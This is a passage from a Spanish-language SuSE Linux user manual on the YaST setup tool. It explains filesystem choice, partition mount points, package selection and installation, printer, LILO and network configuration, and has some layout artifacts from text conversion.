sobre la partición de otro sistema operativo, todas las funciones se desactivan excepto la definición del punto de anclaje. Definir tipo Con |____|F3se puede seleccionar entre los dos distintos sistemas de ficheros ext2 y reiserfs . `ext2' ~ El sistema de ficheros ext2 (ingl. second extended-2 filesystem) se ha establecido hace muchos años como el sistema de ficheros estándar. `reiserfs' ~ ReiserFS Es un sistema de ficheros de última generación. Aunque es aún joven ya se usa en muchas partes (p. ej. en algunos de nuestros servidores internos); es imprescindible consultar la información que se encuentra en /usr/doc/packages/reiserfs/README. El grupo de desarrollo alrededor de Hans Reiser y Chris Mason trabaja en estrecha colaboración con SuSE y ha conseguido hacer del ReiserFS un ''Journaling Filesystem''. ''Journaling'' asegura un chequeo muy rápido (dentro de pocos segundos) del sistema de ficheros (ingl. filesystem check), incluso para servidores grandes. 92 __________________________________________________________________________________3.4.__Particionar_disco(s)_duro(s)________* *______________________ _______________________________________________________________________________________________________________________|| |||||||| ¡No se debe usar el ReiserFS en combinación con Software-RAID 1 o ||| | ||||||||| RAID 5. Estas restricciones no existen para un RAID por hardware. El || || |||||||| tamaño mínimo de una partición con ReiserFS es actualmente de 34 MB. ||| | ||||||||_______________________________________________________________________________________________________________||_ Para evitar problemas es aconsejable optar por la configuración estándar de SuSE Linux y generar una partición /boot adicional con el sistema de ficheros ext2 e instalar allí LILO . El paquete reiserfs, serie a contiene las utilidades para el ReiserFS. Hay información actualizada en: http://devlinux.com/projects/reiserfs/ Mountpoint ~ Punto de anclaje Pulsando la tecla |____|F4es posible definir dónde se debe montar la partición correspondiente en el árbol de directorios. Es obligatorio asignar a una partición el directorio raíz (/). Las particiones DOS/Windows se pueden montar sobre algunos nombres de directorio como p. ej. /dosc para la primera partición DOS y /dosd para la segunda, etc., para poder encontrarlas posteriormente con facilidad. _______________________________________________________________________________________________________________________|| |||||||| Se deben introducir todos los puntos de anclaje con el nombre de path ||| | |||||||| absoluto. Los nombres no pueden contener caracteres especiales. || | |||||||| || | |||||||| Los directorios /etc, /bin, /sbin, /lib y /dev deben encontrarse en la || | |||||||| misma partición raíz, ya que contienen información para montar los demás || | |||||||| || | |||||||| sistemas de fichero y así poder arrancar el sistema || | ||||||||_______________________________________________________________________________________________________________||_ ¡Existe algo especial para las particiones DOS/Windows! Es posible integrar- las de tres formas diferentes en el árbol de ficheros. o Primero como una partición DOS (= msdos ) con todas las restricciones del sistema de ficheros DOS. o Segundo como FAT-Win95 (= vfat ), lo que permite el uso de nombres de fichero largos y o Tercero como partición UMSDOS , lo que permite el uso de nombres de fichero largos en particiones DOS ''normales''. Solo para albergar ficheros de Linux en una partición DOS se precisa UMSDOS . No es ningún método eficiente si la partición DOS solo sirve para el intercambio de ficheros. Si es posible, evite usarlo A parte de esto existen en este caso todas las características de un sistema de ficheros Linux como propietarios, derechos de acceso e incluso se pueden generar ficheros especiales como p. ej. links sobre el sistema de ficheros DOS. Menú de experto para ajustes finos El menú de experto (ver figura 3.11 en la página siguiente) permite realizar algunos ajustes finos. La densidad de + Inode indica cuál es el tamaño promedio de ficheros que se espera para una partición. La cantidad de inodes determina cuántos ficheros * * 93 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Figura 3.11: Menú de experto para configurar los sistemas de fichero se pueden almacenar en una partición. Cuando esta cantidad es demasiado pequeña, es posible que una partición cuente como llena, aunque existan todavía bloques libres en la partición. Si por ejemplo se elige una densidad de 4096 Bytes por inode, significa que todos los ficheros deben tener en promedio un tamaño de 4 KB. Si por el contrario en este tipo de partición se usan exclusivamente ficheros con un tamaño de solo un Kilobyte, entonces la partición ya cuenta como llena cuando solamente se usa una cuarta parte del espacio disponible, por falta de espacio en el sistema de ficheros. Un valor aceptable para la densidad suele ser el de 4 KB por inode (más inodes por partición significa naturalmente menos espacio neto en la par- tición, porque también hace falta grabar la tabla con los inodes). Usando una partición como área spool p. ej. para Netnews, es mejor usar un valor de 2048 Bytes por inode, ya que los artículos suelen ser ficheros muy pequeños. Otra razón para trabajar con una cantidad alta de inodes es la integración del Live-System . En este caso se enlazan al sistema de ficheros alrededor de 40.000 ficheros usando enlaces (ingl. links) simbólicos y cada uno necesita un inode. La definición del Tamaño de bloque influye sobre la duración de un chequeo del sistema de ficheros; de hecho la duración del chequeo sube cuadrática- mente con el inverso del tamaño de bloque (o sea, con la mitad de tamaño de bloque, resulta cuatro veces más largo el tiempo para el chequeo del sistema de ficheros). Un valor razonable para el tamaño de bloque es 1024 (= 1 KB) para particiones hasta 1 GB de tamaño y 4096 (= 4 KB) para particiones hasta 4 GB. En este menú se pueden definir también las condiciones que se deben cumplir para que se efectúe un chequeo del sistema de ficheros; es posible considerar la frecuencia con la que monta el sistema de ficheros. El área reservada para `root': El superusuario debe tener un área reservada si existen particiones usadas por utilidades del sistema y por parte de usuarios 94 __________________________________________________________________________________3.4.__Particionar_disco(s)_duro(s)________* *______________________ normales. No hace falta que la partición de /home ofrezca espacio para `root'. También es posible indicar el Comportamiento en caso de error. Cuando el sistema de ficheros tiene un error es posible definir que todo continúe tra- bajando (continue ), que el sistema de ficheros se remonte en modo solo- lectura (remount-ro ) o que el sistema se pare al instante (panic ). La opción más adecuada depende del uso de la computadora; en todo caso solo modi- fique el valor por defecto continue si sabe bien lo que hace! Formatear las particiones Usando la tecla |____|F6se puede determinar cómo formatear las particiones. Si se usan discos duros modernos, recién salidos de la fábrica, no hace falta activar la comprobación de sectores dañados durante el formateo, no obstante, por razones de seguridad también se puede activar esta opción pero el proceso de formatear durará mucho más tiempo. Leer el fichero fstab Pulsando |F___|_7es posible leer un fichero fstab ya existente (ingl. file system table). Se indican también las entradas en fstab que no correspondan a ningún sistema de ficheros del disco duro (swap, proc, nfs-mount, lectores CD-ROM, etc). Estas entradas se indican en gris ya que no pueden ser modi- ficadas y por tanto se mantienen constantes grabando el fichero fstab. La mencionada característica es necesaria cuando se desea actualizar el sistema (ver apartado 15.1.3 en la página 394Actualización con YaST1 subsection.15.1.3), ya que en tal caso YaST necesita saber sobre cuáles par- ticiones se distribuye éste. Justamente en el caso de tener varias versiones de Linux instaladas en una misma computadora, se necesita saber cuál versión se actualiza y cuál no. 3.4.2 Configurar el Logical Volume Manager Puede encontrar información acerca de la configuración del ''Logical Volume Manager'' (LVM) en el ''howto'' oficial de LVM que se encuentra en: http: //linux.msede.com/lvm/. 3.4.3 Instalación dentro de un directorio YaST permite instalar todo el sistema dentro de un directorio desde la com- putadora en marcha. Esto permite p. ej. actualizar una computadora vía NFS, configurar un ''entorno chroot'' o instalar Linux desde una computadora en marcha a un segundo disco duro. Se trata de un modo de instalación reservado a casos especiales. Antes de in- stalar con este método hay que procurar tener montado el dispositivo deseado sobre el directorio en cuestión. Es muy importante preocuparse por la capacidad de arranque del sistema instalado efectuando los cambios necesarios. También es muy probable que se deba modificar el fichero fstab que YaST genera en la instalación nueva. * * 95 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Indique entonces en el cuadro de diálogo, en cuál directorio quiere que se instale el sistema. 3.5 Escoger / Instalar paquetes Después de haber terminado la configuración de los sistemas de fichero, elija en el menú principal `Escoger / Instalar paquetes' para escoger los paquetes que se desea instalar y después arrancar la instalación. Existe la posibilidad de generar, grabar y cargar perfiles de instalación propios. Figura 3.12: Elección de paquetes a instalar También existe la posibilidad de arrancar la instalación misma desde este menú o echar un vistazo para averiguar lo que pasaría en caso de instalar la configuración actualmente seleccionada. 3.5.1 Cargar configuración Bajo la opción `Cargar configuración' se encuentran un par de config- uraciones preparadas por nosotros. Puede pasar por las_distintas_configura-__________ ciones (conjuntos de software) usando las flechas |"_ |y |#_ |; espacio | ____________ | selecciona o deselecciona una opción. El sistema básico permite arrancar Linux desde el disco duro para la insta- lación posterior de paquetes adicionales. Si ha generado perfiles de instalación propios, es posible activarlos aquí. Se trata de un procedimiento especialmente útil para instalar varias computado- ras con la misma configuración. Al aplicar una configuración diferente sobre un sistema ya instalado, se deben marcar para borrar todos los paquetes ya instalados que no correspondan a la nueva configuración; si se desea mantenerlos, entonces se debe contestar No a la pregunta de seguridad sobre si realmente los quiere borrar o no. Esta pregunta aparece después de haber elegido `Empezar Instalación' en el menú de elección de paquetes. De lo contrario se tendrían que deseleccionar uno a uno todos los paquetes marcados con `[D]' para que después aparez- can marcados con `[i]'. 96 __________________________________________________________________________________3.5.__Escoger_/_Instalar_paquetes_________* *______________________ 3.5.2 Salvar configuración Aquí se puede salvar la configuración personal. Si se ha arrancado YaST desde el disquete, se usará el mismo para salvarla. Si por el contrario se ha arrancado directamente desde el CD, YaST pide introducir un disquete formateado para guardar los datos en él. 3.5.3 Cambiar / Crear configuración Al elegir esta opción se entra en el editor de selección (figura 3.13), que le permite determinar libremente el contenido de la instalación o modificar una configuración prefabricada y actualmente cargada (ver apartado 3.5.1 en la página anterior). Otra característica de esta opción es la de poder borrar pa- quetes instalados después de la instalación principal en concepto de manten- imiento del sistema. Figura 3.13: Selección de las series en YaST Es posible moverse__por__la lista__de__opciones usando__las flechas |__|"y |__|#tal como las teclas |R_________e|yPág|________A|v. PágCon |_____-| se puede llegar al sub-menú para elegir los paquetes dentro de cada serie. El panel inferior informa sobre los espacios disponibles y ocupados en el sistema. Pulsando la tecla |____|F4es posible reordenar los paquetes para tener así una agrupación diferente de los mismos (figura 3.14 en la página siguiente). Ac- tualmente, aparte de `Series', existe la opción `Todos los paquetes' (ingl. `All packages' ), tras la cual se esconde la antigua serie ALL. Para salir de una opción, p. ej. de_la_selección de series y volver al menú de configuración superior, se pulsa |F____1|0. Una vez seleccionada una serie y pulsando |______|-, se entra en la parte de elección de paquetes de la correspondiente serie (la figura 3.15 en la página siguiente) muestra p. ej. el contenido de la serie a). En caso de haber cargado anteriormente una configuración, todos los paquetes que ya están selecciona- dos aparecen marcados con una X . * * 97 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Figura 3.14: Reordenar paquetes en YaST Figura 3.15: Selección de paquetes, serie a1 (Sistema base) En el panel inferior aparece siempre una descripción corta del paquete que es- tá actualmente seleccionado. El panel derecho informa sobre el gasto actual de espacio en las particiones del disco. Estos valores se actualizan continua- mente a medida que se vaya seleccionando o deseleccionando un paquete. A veces el espacio disponible para la descripción de los paquetes o para la información_sobre_las particiones no alcanza para mostrarlo todo, no obstante, con |F___|2o |F___|3es posible ampliar estos paneles y así ver toda la información en una ventana aparte. Por delante del nombre de paquete se indica su estado actual: `[ ]' indica un paquete que aún no se ha instalado `[X]' indica un paquete que está por instalarse 98 __________________________________________________________________________________3.5.__Escoger_/_Instalar_paquetes_________* *______________________ `[i]' indica un paquete que ya está instalado `[D]' indica un paquete que está por borrarse `[R]' indica un paquete que está por actualizarse Pulsando | _____|_-se cambia entre_ los estados `[ ]' y `[X]' o entre `[i]', `[R]' y `[D]'. Apretando |___F|6se consigue la instalación adicional del paquete fuente correspondiente; respecto a las fuentes véase tam- bién el apartado 15.3.3 en la página 408Instalar y compilar los paquetes fuentesubsection.15.3.3. Desde esta posición_ en el menú es posible volver a la selección de series pulsando |____F|10. Si desea salir de__la selección de paquetes sin que las modificaciones tengan efecto, simplemente pulse |E____s|c. Si durante la instalación se da cuenta que el espacio previsto en el disco duro no alcanza para la instalación deseada o que hace falta dividir el disco en particiones diferentes, entonces es posible reparticionarlo en cualquier momento. El proceso de particionar no se efectúa antes de haber salido por primera vez de YaST . En caso de haber arrancado YaST desde disquetes, primero se instala una configuración mínima, se arranca Linux y después se procede a instalar los paquetes que hagan falta. También en este caso es posible seleccionar a modo de prueba todos los paquetes que se quiere instalar para averiguar el gasto de espacio de la configuración deseada. 3.5.4 ¿Qué pasaría si...? YaST es también una utilidad de desinstalación de paquetes, por lo tanto, existe la opción de comprobar que no se va a borrar ningún fichero que sea absolutamente imprescindible para el buen funcionamiento del sistema. 3.5.5 Empezar instalación Con esta opción comienza realmente la instalación. Todos los paquetes elegi- dos se leen desde el medio de instalación, se descomprimen y se escriben en la partición destino. Si se han modificado las particiones del disco duro durante el inicio actual de YaST , entonces todavía no se puede efectuar la instalación, ya que hace falta reiniciar la computadora después de cualquier modificación de una partición. Los datos modificados de las particiones no se escriben en el disco antes de salir de YaST . Durante la instalación se indican en la ventana inferior los posibles mensajes de error y de estado. La línea superior indica siempre cuál paquete se instala en cada momento. Después de la instalación es posible cambiar con |T_____|aba la ventana de apuntes (protocolo) y desde allí desplazarse hacia arriba para ver y analizar los posi- bles mensajes de error. 3.5.6 Comprobar las dependencias Aquí YaST comprueba las dependencias entre los paquetes instalados y los previstos para instalar excepto los que están marcados para borrar. En otras * * 99 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ palabras, lo que se comprueba es la correcta coexistencia de todos los paque- tes como si ya se hubiera elegido `Empezar Instalación'. Existen los siguientes tipos de dependencias: ________________________________________________________________________________________________________* *________ AND Instalando este paquete se deben instalar todos los demás o bien ya deben estar instalados. Ejemplo: Instalando un compilador se necesitan también los ficheros Include y los Libs. OR Instalando este paquete, se debe instalar o debe estar instalado como mínimo uno de los paquetes indicados. EXCL Instalando este paquete no se debe instalar o no debe estar insta- lado ninguno de los paquetes indicados. ________________________________________________________________________________________________________* *________ Tabla 3.1: Dependencias entre los paquetes Las dependencias entre paquetes encontradas, se apuntan finalmente en una lista. 3.5.7 Listado de las series y paquetes Aquí simplemente se muestra una lista de todos los paquetes en el CD. Los paquetes marcados con `*' ya están instalados o bien seleccionados para ser instalados. Esta función es muy práctica a la hora de conseguir un resumen rápido. 3.5.8 Información sobre paquetes A veces uno quiere saber dónde se esconde en el SuSE Linux-CD el fantástico programa que mencionaron en una revista de PC. Para buscar paquetes y ficheros de forma sencilla y rápida, en el SuSE Linux- CD y en el sistema instalado hay información sobre estos; simplemente se indica el nombre del fichero que se necesita y YaST procederá a buscarlo en el medio indicado y presentará un listado con los sitios localizados. 3.5.9 Instalar paquetes Esta opción existe para instalar cualquier paquete, p. ej. versiones nuevas o corregidas que proporcionamos en el servidor FTP ftp.suse.com. Tam- bién sirve para instalar paquetes generados por cuenta propia o recibidos de otras fuentes. Se soportan ficheros Tar comprimidos (.tgz) y paquetes RPM (.rpm, .spm y .src.rpm) al igual que paquetes especiales tipo Patch (.pat), que proporcionamos según necesidad en nuestro servidor FTP. La instalación_se realiza en 3 pasos (es posible ver instrucciones explícitas pulsando |F___|1): o Selección de la fuente de instalación o Selección de los paquetes allí ofrecidos o Instalación de los paquetes 100 __________________________________________________________________________________3.5.__Escoger_/_Instalar_paquetes_________* *______________________ Pulsando |_____|_-en la opción `Fuente': aparece un listado de las posibles fuentes de instalación: `Directorio', `FTP', `Medio fuente' y `Dis- quete'. Podría ser necesario_cambiar el path predefinido (Directorio/FTP) y confirmarlo con |_____-|. YaST muestra ahora una lista con los paque- tes disponibles allí y entonces es posible instalar directamente desde Inter- net usando la opción `FTP'. La dirección es ftp.suse.com:/pub/suse/ i386 /update/6.4 (ver figura 3.16). Por el momento no es posible instalar paquetes a través de un ''Proxy'' ya que se precisa el acceso directo al servidor FTP. Figura 3.16: Instalar paquetes vía FTP _______________________________________________________________________________________________________________________|| |||||||| Si aparece un mensaje como "530 User ftp access denied", lo más ||| | |||||||| probable es que solo de modo temporal no haya acceso por saturación. || | |||||||| || | |||||||| Pruébelo más tarde cuando haya menos usuarios conectados al sistema. || | ||||||||_______________________________________________________________________________________________________________||_ Una vez alcanzado_el_paquete_rpm que se quiere instalar,_como_siempre, se marca con |E__________s|pacioy después se instala con |F____1|0. El paquete correspondi- ente se copia también en el directorio /tmp/ftp , de este modo existe la posibilidad de instalarlo a mano más tarde, en caso de que algo hubiese ido mal (ver apartado 15.3.1 en la página 405Instalar, actualizar y desinstalar paquetessubsection.15.3.1) . 3.5.10 Eliminar/Borrar paquetes Al seleccionar esta opción, YaST mostrará una lista de todos los paquetes que están instalados en el sistema incluidos los paquetes ajenos. Como ''paquete ajeno'' se entiende un paquete que no se encuentra en ningún SuSE -CD. En tal caso, YaST no puede hacer ninguna actualización y tampoco puede comprobar las dependencias entre ellos. Lo más sencillo es reemplazarlos por los paquetes correspondientes de los SuSE -CDs. Para ello se selecciona en la lista los paquetes afectados; con F2 |||||||||__aparece una descripción breve del paquete, ya que no existe ninguna * * 101 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ descripción larga para ellos; con |F_____|10se borran los paquetes seleccionados y después es posible instalarlos otra vez desde el CD de SuSE. 3.6 Actualizar el sistema No se debería usar la opción `Actualizar sistema' si el sistema base no es lo suficientemente actual - es decir, cuando su versión no es igual a la del medio fuente. De todas maneras YaST lo indicará claramente. Para hacer realmente una actualización del sistema, comience como se expli- ca en el capítulo 15 en la página 393Actualización del sistema ~ Gestión de paqueteschapter.15. Los paquetes sueltos se actualizan con YaST según el apartado 3.5.9 en la página 100Instalar paquetessubsection.3.5.9. 3.7 Administración del sistema Además de la pura instalación, YaST le soporta también en las diferentes tareas de administración que tendrá que afrontar como + Administrador de sistema. Después de finalizar realmente la instalación, es necesario ajustar una serie de parámetros para adaptar el sistema a los requerimientos particulares, tales como: configuración y activación de servicios de red, instalación de hard- ware adicional, generación de usuarios, determinación de las propiedades de arranque de SuSE Linux, etc. Figura 3.17: Administración del sistema Para entrar en la parte de administración del sistema hay que elegir `Admin- istración del sistema' (figura 3.1 en la página 84El menú principal de YaST section.3.2) en el menú principal de YaST (ver figura 3.17). 3.7.1 Instalar hardware en el sistema Aquí es posible especificar con más detalle el hardware usado. Por lo general se genera un enlace simbólico (+ Enlace) (ingl. Link) entre un dispositivo 102 __________________________________________________________________________________3.7.__Administración_del_sistema__________* *______________________ estándar y el hardware. Así se puede acceder fácilmente al hardware sin necesidad de recordar el nombre exacto del mismo. Figura 3.18: Configuración de hardware Las configuraciones de mouse, escáner, tarjeta de red y lector CD-ROM son muy sencillas ~ solo hay que seguir las indicaciones de los menús ;-) Por otra parte, la configuración de la impresora, que se encuentra en el próxi- mo apartado, es algo más complicada. Configurar impresoras El acceso a una impresora bajo Linux es un proceso complejo; la explicación técnica se encuentra en el 12 en la página 325Impresoraschapter.12. Afor- tunadamente existe el programa apsfilter que es un filtro potente capaz de reconocer automáticamente el tipo de fichero para luego convertirlo y man- darlo a la impresora. El formato PostScript juega un papel muy importante en Linux tal como en los otros sistemas Unix. Imprimir un fichero PostScript en una impresora PostScript es bastante sencillo. Lamentablemente por el alto precio de las mismas la minoría de los usuarios tiene una impresora con estas caracterís- ticas. Por eso se usa Ghostscript (gs ), un programa gratuito, que se encarga de la interpretación de un documento en PostScript para después convertirlo a un formato que entiende la impresora directamente. Cuando se usa apsfilter también los ficheros + ASCII se convierten primero a PostScript para ser impresos directamente en una impresora PostScript o bien para enviarlos vía Ghostscript a cualquier impresora. YaST ofrece la posibilidad de configurar cómodamente el apsfilter para la impresora (figura 3.19 en la página siguiente): Si tiene una impresora de color, active la correspondiente opción en la plantil- la. En `Tipo de impresora' indique si la impresora ''entiende'' PostScript o no. La opción `Nombre de la impresora' muestra todas las impresoras soportadas por Ghostspript. Desde esta lista se debe elegir la impresora * * 103 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Figura 3.19: Configurar apsfilter con YaST que se usa (ver apartado 12.6 en la página 340Listado de las impresoras soportadassection.12.6). En caso de no haber un ''driver'' de Ghostscript disponible, es posible introducirlo a mano usando la opción `Otra impre- sora' y después `'; comprobar mediante la ejecución de gs -h , si la versión instalada de Ghostscript realmente reconoce este driver. ~ Actualmente, lo más seguro para configurar el driver uniprint y su fichero de parámetros es el uso de SETUP (lprsetup ) (ver el apartado 12.3 en la página 334Configuración con SETUP (lprsetup )Hfootnote.59). En caso de no encontrar su impresora en la lista, se puede probar un modelo parecido, que puede ser el antecesor al modelo actual. Si se tiene por ejemplo una HP LaserJet 5L, entonces se elegiría de la lista la HP Laserjet 4. Respecto al `Formato de papel', lo más normal para España es elegir A4 pero también se soporta el tipo carta (letter) para las Américas. Si la impresora está conectada a un + Puerto serie se puede indicar adicional- mente la velocidad de transferencia para este puerto. Hoy en día las impresoras suelen estar conectadas a un puerto paralelo (puerto de impresora), así que se debe indicar el puerto que se va a usar. Siempre que la impresora se conecta al primer puerto paralelo y a partir de la versión 2.2.xx del kernel, este puerto es /dev/lp0. Por el contrario, se usa /dev/lp1 cuando la computadora está equipada con dos puertos paralelos; /dev/lp2 indica el puerto en el cual se encuentra una tarjeta gráfica de Hércules 2 . _____________________________________________2 Hasta la versión 2.0.xx del kernel, se accede al primer puerto paralelo con /dev/lp1 104 __________________________________________________________________________________3.7.__Administración_del_sistema__________* *______________________ _______________________________________________________________________________________________________________________||||| |||||||| En caso de que la impresora no imprima, repase la lista de compro- ||| | ||||||||| bación en el apartado 12.7 en la página 345Lista de comprobación: || || |||||||| apsfiltersection.12.7. ||| | |||||||| || | |||||||| En caso de duda configure en la BIOS los siguiente valores para el puerto || | |||||||| paralelo: || | |||||||| || | |||||||| || | |||||||| o Dirección-IO 378 (hexadecimal) || | |||||||| o Interrupción 7 || | |||||||| || | |||||||| o Modo: Normal (o SPP) || | |||||||| || | |||||||| o desactive DMA (debería estar desactivado en modo Normal) || | |||||||| || | |||||||| Estos son los valores estándar. || | ||||||||_______________________________________________________________________________________________________________||_ Es necesario comprobar y tal vez ajustar `Resolución en dpi'; conviene seguir las instrucciones del manual de su impresora. 3.7.2 Configuración del kernel y arranque Aquí es posible hacer ajustes básicos que tienen influencia sobre el arranque del sistema y el kernel usado. Figura 3.20: Configuración de kernel y arranque `Elegir el kernel (de arranque)' Para instalar un kernel precompilado junto con los módulos correspondientes (desde el SuSE -CD) seleccione (`Elegir el kernel'). Este se ofrece por ejemplo cuando la primera selección durante la instalación no fue la óptima. YaST también le ofrecerá copiar la configuración del kernel (.config) al directorio de las fuentes del mismo (/usr/src/linux). Seleccione el kernel para la arquitectura especial de la computadora y deje que YaST configure de nuevo el LILO . Si anteriormente no fue posible ar- rancar con LILO consulte abajo las instrucciones sobre la configuración de LILO . * * 105 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ Para el usuario avanzado es bastante recomendable que compile su propio kernel una vez finalizada la instalación (ver capítulo 13 en la página 349El kernelchapter.13). Este tipo de kernel ~ hecho justamente a medida del sis- tema ~ es más pequeño, más rápido y evita problemas de drivers con hardware no existente. Como principiante en el tema de Linux es mejor quedarse con el kernel estándar que le suministramos, ya que solo usando este kernel estándar, tendrá derecho al soporte de instalación (ver apartado H.1 en la página 54160 días de soporte de instalaciónsection.H.1). `Crear disco de rescate' Un disquete de ''emergencia'' o de ''rescate'' (rescue disk) es bueno cuando el sistema Linux ya no quiere arrancar de ninguna otra forma. Se genera con la opción `Crear disco rescate' (ver apartado 16.5 en la página 425El sistema de rescate de SuSE section.16.5). `Configuración LILO' YaST ofrece también una pantalla para una fácil configuración del LILO (ingl. LInux LOader) (figura 3.21). LILO gestiona también el arranque de OS/2-, DOS- y Windows 95/98, pero hay que tener cuidado con Windows NT. En el capítulo 4 en la página 119Arrancar y gestor de arranquechapter.4 hay más información sobre el significado de cada campo y de sus opciones. Figura 3.21: Instalación de LILO La `Línea para parámetros de hardware' se queda generalmente vacía; ver apartado 4.4.2 en la página 128Otras opciones de configuración (Selección)subsection.4.4.2, salvo que se hayan usado parámetros adicionales para el primer arranque. En tal caso se introducen estos parámetros, pero sin el nombre del kernel linux por delante! Los detalles se muestran en el apartado 4.4.2 en la página 128Otras opciones de configuración (Selección)subsection.4.4.2. 106 __________________________________________________________________________________3.7.__Administración_del_sistema__________* *______________________ `¿Dónde desea instalar LILO ?': Si solo existe Linux en la computa- dora, entonces Master boot record es el sitio correcto; Sector de arranque de la partición /boot se recomienda cuan- do se quiere arrancar Linux con otro gestor de arranque (ingl. Boot- manager); en caso de no haber generado la partición /boot, seleccione (Sector de) Arranque de la partición raíz . En disquete : es- tá claro, verdad?. La explicación técnica de estos ajustes está en el en la página 123¿Dónde se puede instalar LILO ?Hfootnote.17. `Retraso arranque': Se indica en segundos; 10 segundos es un buen valor. `Opción "linear"': Se trata de una opción que generalmente no se nece- sita; ver también apartado 4.4.2 en la página 128Otras opciones de configu- ración (Selección)subsection.4.4.2. Con `F4=Nueva Conf.' se fija el nombre de una nueva configuración; re- sulta práctico llamar linux a la configuración estándar. Las configuraciones ya existentes pueden ser modificadas con `F5=Editar Conf.'. Para ello YaST proporciona una pantalla que se muestra en la figura 3.22. Figura 3.22: LILO : Configuración de arranque Los significados de los campos son los siguientes: `Nombre de la configuración': Depende de la imaginación, pero use linux para la primera. `Qué sistema operativo': se ofrecen las posibilidades de: Arrancar Linux , Arrancar DOS/Win ~ la opción correcta para Windows 95 y 98 ~ y Arrancar OS/2 . `Partición raíz a arrancar': Esta opción es predeterminada; general- mente no se precisa ningún cambio. Pulse `F3' y seleccione la partición correcta. * * 107 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ `Kernel opcional': Solo marcar cuando este kernel no esté a disposición permanentemente, o sea, en caso de un kernel que solamente se instala para pruebas. `Kernel a iniciar por LILO ': Por lo general aquí tampoco hace falta modificar nada. La ubicación estándar de SuSE Linux es /boot/vmlinuz; con `F3' se puede pasar por el árbol de directorios. Con `Continuar' se instala LILO y con `Abortar' se puede cancelar la instalación. ________________________________________________________________________________________________________* *________||| | * * ||| | Cuando se configura LILO se recomienda añadir una segunda configu- * * ||| | ración (p. ej. old ) para la cual se indica como kernel a arrancar /boot/ * * ||| | * * ||| | vmlinuz.old y además el campo `Kernel opcional'; así también se * * ||| | podrá arrancar el sistema cuando un kernel recientemente compilado no * * ||| | * * ||| | funcione, porque usando la instalación automática de LILO siempre se * * ||| | genera una copia de seguridad del antiguo kernel, que se puede iniciar con * * ||| | * * ||| | la configuración old (ver capítulo 13 en la página 349El kernelchapter.13). * * ||| |_______________________________________________________________________________________________________* *________|||_ 3.7.3 Configuración de red Con YaST es posible efectuar los ajustes básicos de la red (ver figura 3.23). ¡En todo caso configure la red, aunque la computadora en realidad no se encuentre en ella o no tenga tarjeta de red! Hay muchos programas que necesitan soporte de red para poder funcionar correctamente. Figura 3.23: Configuración de la red `Configuración básica de red' Aquí se define(n) básicamente la(s) + Dirección-IP y se asignan a las interfaces de red como tarjeta red, dispos- itivo PPP o RDSI, etc. (ver figura 3.24 en la página siguiente); el en la página 153Requisitos, Preparativoschapter.5 aclara estos términos. Aquí es posible seleccionar con `F3=Auto-IP' los servicios DHCP o BOOTP para obtener una configuración automática de los IP's. 108 __________________________________________________________________________________3.7.__Administración_del_sistema__________* *______________________ Figura 3.24: Netzwerk Grundkonfiguration `Cambiar nombre del host' Se puede definir el nombre de la computa- dora (ingl. hostname) y el nombre de dominio (más información otra vez en el en la página 153Requisitos, Preparativoschapter.5). `Configurar servicios de red' Con esta opción se configuran mu- chos servicios básicos de uso frecuente: inetd (para telnet , ftp , imprimir etc.), portmap (para los servidores NFS y NIS) y rpc.nfsd (para servidor NFS). `Configuración DNS' Es posible indicar uno o varios servidores de nom- bres (ver el en la página 441Configurar e iniciar servicios de red y localesHfootnote.77). `Configuración cliente YP' Esta opción es activa cuando el paquete ypclient, serie n está instalado (ver el apartado 5.4 en la página 166NIS, las páginas amarillas del LANsection.5.4 y en la página 443Configurar e iniciar servicios de red y localesHfootnote.77) . `Configurar sendmail' Para sendmail se puede instalar también un fichero de configuración, que brinda una gran funcionalidad para muchos tipos de tareas. `Administrar impresoras remotas' Esta opción permite configurar impresoras que son accesibles vía red a través de TCP/IP. Para configurar la impresora de red lp (que se encuentra en el servidor de impresión sol.cosmos.univ con el nombre local remote ), rellene el formulario. Si se necesita un ''pre-filtro'' para esta impresora, consultar el aparta- do 12.4 en la página 337Impresoras de red con apsfilter section.12.4. `Conectar impresora mediante Samba' Esta opción se activa cuando el paquete samba, serie n está instalado y permite el acceso a una impre- sora que se conecta a una computadora con Windows. `Conectar impresora mediante Novell' La opción se activa con el paquete ncpfs, serie n instalado. `Configurar parámetros RDSI' La opción está activa cuando el paquete i4l, serie n está instalado. Para RDSI se ofrecen menús con muchos de- talles (consultar las explicaciones en el apartado 6.2 en la página 173Ac- ceso a Internet vía RDSI ~ la configuraciónsection.6.2). * * 109 3. YaST ~ Yet another_Setup_Tool_________________________________________________________________________________________________* *_______________________________________@ `Configuración de PPP' Aquí se configura el acceso a través del pro- tocolo PPP (consultar las explicaciones en el apartado 6.1 en la pági- na 172PPPsection.6.1). En el capítulo 5 en la página 153Linux en la redchapter.5 hay detalles adi- cionales relacionados con la configuración de una red. 3.7.4 Configurar sistema Live Es posible conseguir por separado, abonando una tasa de protección, un CD- ROM con un sistema de ficheros ''en vivo'' (Live-filesystem) o bajarse la imagen ISO del servidor FTP (ftp://ftp.suse.com/pub/suse/i386/). Se puede arrancar desde este ''Live-CD'' alcanzando así varios objetivos: o Es posible arrancar directamente un sistema Linux (incluido sistema X Window) desde este CD-ROM sin instalar nada en el disco duro. Esto es muy útil para saber si una determinada computadora corre con SuSE Linux o para tener a mano un sistema de rescate amplio e indestruc- tible (ver apartado 16.5 en la página 425El sistema de rescate de SuSE section.16.5). o También se puede enlazar el ''Live-System'' a un sistema SuSE Linux instalado en el disco duro, lo que solamente tiene sentido cuando no hay suficiente espacio en el disco para una instalación completa; esta segunda posibilidad es la que nos ocupa ahora. ________________________________________________________________________________________________________* *________ | Tenga en cuenta que el sistema Live tampoco representa algo más que * * |||| | * * ||| | una selección de software, ya que el espacio en un CD-ROM también es * * ||| | limitado. * * ||| |_______________________________________________________________________________________________________* *________|||_ Para la integración del sistema-Live se selecciona en YaST `Integrar sistema de ficheros Live CD'. Llevando a cabo esto, YaST genera en- laces simbólicos para cada paquete que aún no esté instalado. Estos enlaces apuntan a los paquetes 